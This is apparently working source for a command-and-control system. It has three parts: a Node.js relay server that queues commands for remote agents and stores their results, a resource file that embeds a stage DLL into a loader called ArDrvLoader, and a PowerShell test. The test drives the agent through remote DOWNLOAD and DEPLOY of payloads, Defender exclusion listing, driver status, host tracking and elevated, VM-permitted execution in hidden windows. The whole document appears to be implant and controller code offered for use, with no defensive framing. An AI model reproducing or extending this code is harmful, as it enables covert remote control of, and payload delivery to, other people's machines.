const chunks = [];
req.on("data", c => chunks.push(c));
req.on("end", () => resolve(Buffer.concat(chunks)));
req.on("error", reject);
});
}
function authenticateAgent(req, url, body)
{
const agent = (req.headers["x-agent-id"] || "").trim();
const ts = (req.headers["x-agent-ts"] || "").trim();
const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase();
if (!AGENT_SECRET || !agent || !ts || !sign)
return null;
if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent))
return null;
const tsNum = Number(ts);
if (!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300)
return null;
const canonicalPath = url.pathname.replace(/^\//, "") + url.search;
const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`;
if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign))
return agent;
if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign))
return agent;
return null;
}
function operatorOk(req, url)
{
const key = req.headers["x-operator-key"] || url.searchParams.get("key") || "";
return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY);
}
function agentRow(id)
{
return db.prepare("SELECT * FROM agents WHERE id = ?").get(id);
}
function poll(agent, req, res)
{
const row = agentRow(agent);
if (row && row.revoked)
return text(res, "revoked", 403);
const t = now();
db.prepare(`
INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
last_seen = excluded.last_seen,
host = COALESCE(excluded.host, agents.host),
user = COALESCE(excluded.user, agents.user),
sid = COALESCE(excluded.sid, agents.sid),
version = COALESCE(excluded.version, agents.version),
interval = COALESCE(excluded.interval, agents.interval),
system = excluded.system
`).run(
agent, t, t,
req.headers["x-agent-host"] || null,
req.headers["x-agent-user"] || null,
req.headers["x-agent-sid"] || null,
req.headers["x-agent-version"] || null,
Number(req.headers["x-agent-interval"]) || null,
req.headers["x-agent-system"] === "1" ? 1 : 0
);
const cmd = db.prepare(`
SELECT id, text FROM commands
WHERE agent = ? AND state = 'queued'
ORDER BY created ASC LIMIT 1
`).get(agent);
if (!cmd)
return text(res, "", 204);
db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id);
const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64");
text(res, cmd.id + "\n" + b64);
}
function ack(agent, url, body, res)
{
const id = url.searchParams.get("id") || "";
const raw = body.toString("utf8");
let result = raw;
try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { }
if (result.length > 32768)
result = result.slice(0, 32768) + "\n[truncated]";
db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?")
.run(now(), result, id, agent);
db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent);
text(res, "ok");
}
let lastPrune = 0;
// Keeps the database from growing forever. Commands are pruned by age and by
// count, events by age. Runs at most once a minute, from the agents endpoint.
function prune()
{
if (now() - lastPrune < 60)
return;
lastPrune = now();
const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7);
const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30);
const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000);
db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400);
db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400);
db.prepare(`DELETE FROM commands WHERE id IN (
SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ?
)`).run(maxCommands);
}
function reapStale()
{
db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?")
.run(now() - 180);
}
function agentsPayload()
{
reapStale();
prune();
const t = now();
const rows = db.prepare(`
SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued
FROM agents a ORDER BY a.last_seen DESC
`).all();
return rows.map(a => {
const interval = a.interval || 15000;
const intervalSec = Math.max(1, Math.round(interval / 1000));
const age = t - a.last_seen;
return {
id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version,
interval, system: !!a.system, tags: a.tags, queued: a.queued,
first_seen: a.first_seen, last_seen: a.last_seen,
age,
// interval is stored in ms, timestamps are seconds.
online: age < Math.max(intervalSec * 3, 45),
revoked: !!a.revoked
};
});
}
function enqueue(agent, cmdText, operator)
{
const id = crypto.randomUUID();
db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)")
.run(id, agent, cmdText, "queued", now(), operator);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(now(), "enqueue", agent, String(cmdText).slice(0, 200));
return id;
}
async function handle(req, res)
{
const url = new URL(req.url, "http://local");
const p = url.pathname;
if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET)
return text(res, "denied", 403);
const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req);
if (p === "/" || p === "/panel")
{
try
{
return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8");
}
catch
{
return text(res, "panel missing at " + PANEL_PATH, 500);
}
}
if (p.startsWith("/file/"))
{
const name = path.basename(decodeURIComponent(p.slice(6)));
const file = path.join(DATA_DIR, "files", name);
if (!fs.existsSync(file))
return text(res, "not found", 404);
return text(res, fs.readFileSync(file), 200, "application/octet-stream");
}
if (p.startsWith("/api/"))
{
if (p !== "/api/enroll" && !operatorOk(req, url))
return json(res, { ok: false, error: "denied" }, 403);
if (p === "/api/enroll" && req.method === "POST")
{
const provided = req.headers["x-enroll-secret"] || "";
if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET))
return json(res, { ok: false, error: "enroll denied" }, 403);
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || ""))
return json(res, { ok: false, error: "valid agent id required" }, 400);
const t = now();
db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0)
ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(t, "enroll", payload.agent, "issued");
return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) });
}
if (p === "/api/revoke" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.agent)
return json(res, { ok: false, error: "agent required" }, 400);
const revoked = payload.revoked === false ? 0 : 1;
db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent);
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
.run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored");
return json(res, { ok: true, agent: payload.agent, revoked: !!revoked });
}
if (p === "/api/agents")
return json(res, { ok: true, now: now(), agents: agentsPayload() });
if (p === "/api/stats")
{
const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all();
const agents = db.prepare(`
SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents
`).get(now() - 300);
return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts });
}
if (p === "/api/commands")
{
const agent = url.searchParams.get("agent") || "";
const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200);
const rows = agent
? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
substr(COALESCE(result,''),1,2000) AS result
FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit)
: db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
substr(COALESCE(result,''),1,2000) AS result
FROM commands ORDER BY created DESC LIMIT ?`).all(limit);
return json(res, { ok: true, commands: rows });
}
if (p === "/api/enqueue" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.agent || !payload.text)
return json(res, { ok: false, error: "agent and text required" }, 400);
return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") });
}
if (p === "/api/broadcast" && req.method === "POST")
{
let payload;
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
if (!payload || !payload.text)
return json(res, { ok: false, error: "text required" }, 400);
const t = now();
const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300);
for (const a of rows)
enqueue(a.id, payload.text, "broadcast");
return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) });
}
if (p.startsWith("/api/command/"))
{
const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13));
return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404);
}
return json(res, { ok: false, error: "unknown endpoint" }, 404);
}
if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue")
{
const agent = authenticateAgent(req, url, body);
if (!agent)
return text(res, "denied", 403);
if (p === "/poll")
return poll(agent, req, res);
if (p === "/ack" && req.method === "POST")
return ack(agent, url, body, res);
if (p === "/status")
{
const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent);
const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null;
return json(res, { ok: true, agent, last });
}
if (p === "/enqueue" && req.method === "POST")
{
const cmdText = body.toString("utf8").trim();
if (!cmdText)
return text(res, "empty", 400);
return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") });
}
}
text(res, "ok");
}
const server = http.createServer((req, res) => {
handle(req, res).catch(err => {
try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { }
});
});
server.listen(PORT, () => {
console.log(`relay server on http://127.0.0.1:${PORT}`);
console.log(`data: ${DATA_DIR}`);
console.log(`panel: ${PANEL_PATH}`);
console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`);
console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`);
});
+9
View File
@@ -0,0 +1,9 @@
#include <windows.h>
#include "resource.h"
// The stage payload is packed into the loader when build.ps1 has copied
// ardrvstage.dll next to this project first. Without that file the resource is
// omitted and the loader falls back to a DLL on disk.
#ifdef HAVE_STAGE_DLL
IDR_STAGE_DLL RCDATA "ardrvstage.dll"
#endif
+298
View File
@@ -0,0 +1,298 @@
# End-to-end test for the cloud agent against the local mock worker.
#
# powershell -ExecutionPolicy Bypass -File test-cloud.ps1
#
# Requests are HMAC-SHA256 signed exactly like the agent does it.
# Exercises: PING, STATUS, DOWNLOAD, DEPLOY, bad-hash rejection, STOP.
param(
[int]$Port = 8790,
[string]$Secret = "testsecret",
[string]$AgentId = "clitest",
[string]$OperatorKey = "testop",
[string]$Exe = "$PSScriptRoot\x64\Release\ArDrvLoader.exe"
)
$ErrorActionPreference = "Stop"
if (-not (Test-Path -LiteralPath $Exe))
{
throw "Agent binary not found: $Exe (build Release first)"
}
$base = "http://127.0.0.1:$Port"
$payloadDir = Join-Path $env:TEMP "ardrv-test-payloads"
$downloadDir = Join-Path $env:TEMP "ardrv-test-downloads"
Remove-Item -Recurse -Force $payloadDir, $downloadDir -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $payloadDir, $downloadDir | Out-Null
$payloadPath = Join-Path $payloadDir "hello.cmd"
"@echo off`r`necho deployed-by-cloud-agent" | Set-Content -LiteralPath $payloadPath -Encoding ASCII
function Get-Sha256Hex([byte[]]$Bytes)
{
$sha = [System.Security.Cryptography.SHA256]::Create()
try
{
if ($null -eq $Bytes -or $Bytes.Length -eq 0)
{
$stream = New-Object System.IO.MemoryStream
}
else
{
$stream = New-Object System.IO.MemoryStream(, $Bytes)
}
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
}
finally { $sha.Dispose() }
}
function Get-HmacHex([string]$Key, [string]$Message)
{
$hmac = New-Object System.Security.Cryptography.HMACSHA256
try
{
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
}
finally { $hmac.Dispose() }
}
function Invoke-Worker([string]$Path, [string]$Method = "GET", [string]$Body = "")
{
$bodyBytes = if ($Body) { [System.Text.Encoding]::UTF8.GetBytes($Body) } else { [byte[]]@() }
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
$canonicalPath = $Path.TrimStart("/")
$canonical = "$AgentId`n$ts`n$Method`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)"
$sign = Get-HmacHex $Secret $canonical
$headers = @{
"X-Agent-Id" = $AgentId
"X-Agent-Ts" = $ts
"X-Agent-Sign" = $sign
}
$uri = "$base$Path"
if ($Method -eq "POST")
{
return Invoke-WebRequest -Method Post -Uri $uri -Body ([byte[]]$bodyBytes) -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing
}
return Invoke-WebRequest -Method Get -Uri $uri -Headers $headers -UseBasicParsing
}
function Decode-Last([string]$Value)
{
if (-not $Value) { return "" }
try
{
return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value))
}
catch
{
return $Value
}
}
function Send-Command([string]$Command, [int]$TimeoutSec = 45)
{
# Enqueue through the operator API, then poll that exact command id.
# Waiting on "last changed" is flaky: identical outputs look like timeouts.
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes((@{ agent = $AgentId; text = $Command } | ConvertTo-Json -Compress))
$res = Invoke-WebRequest -Method Post -Uri "$base/api/enqueue" -Body $bodyBytes `
-ContentType "application/json" -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing
$id = ($res.Content | ConvertFrom-Json).id
$deadline = (Get-Date).AddSeconds($TimeoutSec)
while ((Get-Date) -lt $deadline)
{
Start-Sleep -Milliseconds 400
$list = (Invoke-WebRequest -Uri "$base/api/commands?agent=$AgentId&limit=30" `
-Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing).Content | ConvertFrom-Json
$cmd = @($list.commands | Where-Object { $_.id -eq $id }) | Select-Object -First 1
if ($cmd -and $cmd.state -eq "done")
{
return [string]$cmd.result
}
}
return "<timeout>"
}
Write-Host "starting mock worker..."
$mockArgs = @(
"-ExecutionPolicy", "Bypass",
"-File", "$PSScriptRoot\cloudflare\mock-worker.ps1",
"-Port", "$Port",
"-Secret", $Secret,
"-FileDir", $payloadDir
)
$mock = Start-Process -FilePath "powershell.exe" -ArgumentList $mockArgs -PassThru -WindowStyle Hidden
Start-Sleep -Seconds 2
Write-Host "starting agent..."
$agentArgs = @(
"-cloud",
"--agent", $AgentId,
"--url", $base,
"--secret", $Secret,
"--interval", "1000",
"--no-start-driver",
"--elevated",
"--allow-vm"
)
$agent = Start-Process -FilePath $Exe -ArgumentList $agentArgs -PassThru -WindowStyle Hidden
Start-Sleep -Seconds 2
$results = [ordered]@{}
try
{
Write-Host "`nPING ->" -NoNewline
$results["PING"] = Send-Command "PING"
Write-Host " $($results['PING'])"
Write-Host "STATUS ->" -NoNewline
$results["STATUS"] = Send-Command "STATUS"
Write-Host " $($results['STATUS'])"
$dlTarget = Join-Path $downloadDir "hello.cmd"
Write-Host "DOWNLOAD ->" -NoNewline
$results["DOWNLOAD"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$dlTarget`""
Write-Host " $($results['DOWNLOAD'])"
Write-Host "BADHASH ->" -NoNewline
$results["BADHASH"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$downloadDir\bad.cmd`" 0000000000000000000000000000000000000000000000000000000000000000"
Write-Host " $($results['BADHASH'])"
Write-Host "DEPLOY ->" -NoNewline
$results["DEPLOY"] = Send-Command "DEPLOY $base/file/hello.cmd"
Write-Host " $($results['DEPLOY'])"
Write-Host "HOST_LIST ->" -NoNewline
$results["HOST_LIST"] = Send-Command "HOST_LIST"
Write-Host " $($results['HOST_LIST'].Split("`n")[0])"
Write-Host "HOST_TRACK ->" -NoNewline
$results["HOST_TRACK"] = Send-Command "HOST_TRACK"
Write-Host " $($results['HOST_TRACK'])"
Write-Host "STAGE_STATUS ->" -NoNewline
$results["STAGE_STATUS"] = Send-Command "STAGE_STATUS"
Write-Host " $($results['STAGE_STATUS'])"
Write-Host "EXCLUSION_LIST ->" -NoNewline
$results["EXCLUSION_LIST"] = Send-Command "EXCLUSION_LIST"
Write-Host " $(($results['EXCLUSION_LIST'] -split "`n")[0])"
Write-Host "DRIVER_STATUS ->" -NoNewline
$results["DRIVER_STATUS"] = Send-Command "DRIVER_STATUS"
Write-Host " $($results['DRIVER_STATUS'])"
Write-Host "STOP ->" -NoNewline
$results["STOP"] = Send-Command "STOP"
Write-Host " $($results['STOP'])"
# Unsigned request must be rejected by the worker.
try
{
$null = Invoke-WebRequest -Method Get -Uri "$base/status" -UseBasicParsing
$results["UNSIGNED"] = "ACCEPTED (bad)"
}
catch
{
$results["UNSIGNED"] = "403 rejected"
}
}
finally
{
Wait-Process -Id $agent.Id -Timeout 10 -ErrorAction SilentlyContinue
Stop-Process -Id $agent.Id -Force -ErrorAction SilentlyContinue
Stop-Process -Id $mock.Id -Force -ErrorAction SilentlyContinue
}
$downloaded = Test-Path -LiteralPath $dlTarget
$badExists = Test-Path -LiteralPath (Join-Path $downloadDir "bad.cmd")
$deployPath = ""
if ($results["DEPLOY"] -match "^OK (?:SYSTEM )?(.+)$") { $deployPath = $matches[1] }
$deployed = $deployPath -and (Test-Path -LiteralPath $deployPath)
Write-Host "`n--- summary ---"
$results.GetEnumerator() | ForEach-Object { "{0,-9} {1}" -f $_.Key, $_.Value }
"download file exists : $downloaded"
"bad-hash file removed : $(-not $badExists)"
"deployed file exists : $deployed"
$failed = @()
foreach ($key in @("PING", "STATUS", "DOWNLOAD", "DEPLOY", "STOP"))
{
if ($results[$key] -match "^(ERR|<timeout>)")
{
$failed += "$key failed"
}
}
if (-not ([string]$results["HOST_LIST"]).Contains("hosts="))
{
$failed += "host list failed"
}
if (-not (([string]$results["HOST_TRACK"]).Contains("alive=") -or ([string]$results["HOST_TRACK"]).Contains("track=none")))
{
$failed += "host track failed"
}
if (-not ([string]$results["STAGE_STATUS"]).Contains("alive="))
{
$failed += "stage status failed"
}
if (-not ([string]$results["EXCLUSION_LIST"]).Contains("defender="))
{
$failed += "exclusion list failed"
}
if (-not ([string]$results["DRIVER_STATUS"]).Contains("fail="))
{
$failed += "driver status failed"
}
if ($results["BADHASH"] -notmatch "^ERR DOWNLOAD hash mismatch")
{
$failed += "bad-hash not rejected"
}
if ($results["UNSIGNED"] -notmatch "403")
{
$failed += "unsigned request accepted"
}
if ($failed)
{
Write-Host "`nFAIL: $($failed -join '; ')"
exit 1
}
Write-Host "`nPASS"
exit 0